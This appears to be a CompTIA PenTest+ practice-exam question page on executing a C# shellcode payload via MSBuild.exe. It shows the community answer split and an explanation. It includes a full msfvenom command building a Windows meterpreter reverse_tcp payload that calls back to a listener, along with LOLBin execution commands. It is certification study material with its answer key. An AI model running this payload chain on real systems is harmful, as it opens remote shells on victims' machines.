nerdexam
CompTIA

PT0-003 · Question #96

A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following command: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1…

The correct answer is B. MSBuild.exe C:\evil.xml. The provided msfvenom command creates a payload in C# format. To continue the attack using the generated shellcode in evil.xml, the most appropriate execution method involves MSBuild.exe, which can process XML files containing C# code: Understanding MSBuild.exe: Purpose…

Submitted by kwame.gh· Mar 6, 2026Post-exploitation and Lateral Movement

Question

A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following command: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1 LPORT=10112 -f csharp The tester then takes the shellcode from the command and creates a file called msfvenom evil.xml. Which of the following commands would most likely be used by the tester to continue with the attack on the host?

Options

  • Aregsvr32 /s /n /u C:\evil.xml
  • BMSBuild.exe C:\evil.xml
  • Cmshta.exe C:\evil.xml
  • DAppInstaller.exe C:\evil.xml

How the community answered

(58 responses)
  • A
    3% (2)
  • B
    84% (49)
  • C
    9% (5)
  • D
    3% (2)

Explanation

The provided msfvenom command creates a payload in C# format. To continue the attack using the generated shellcode in evil.xml, the most appropriate execution method involves MSBuild.exe, which can process XML files containing C# code: Understanding MSBuild.exe: Purpose: MSBuild is a build tool that processes project files written in XML and can execute tasks defined in the XML. It's commonly used to build .NET applications and can also execute code embedded in project files.

Topics

#payload execution#LOLBINs#MSBuild#post-exploitation

Community Discussion

No community discussion yet for this question.

Sign up to join the discussion
Full PT0-003 Practice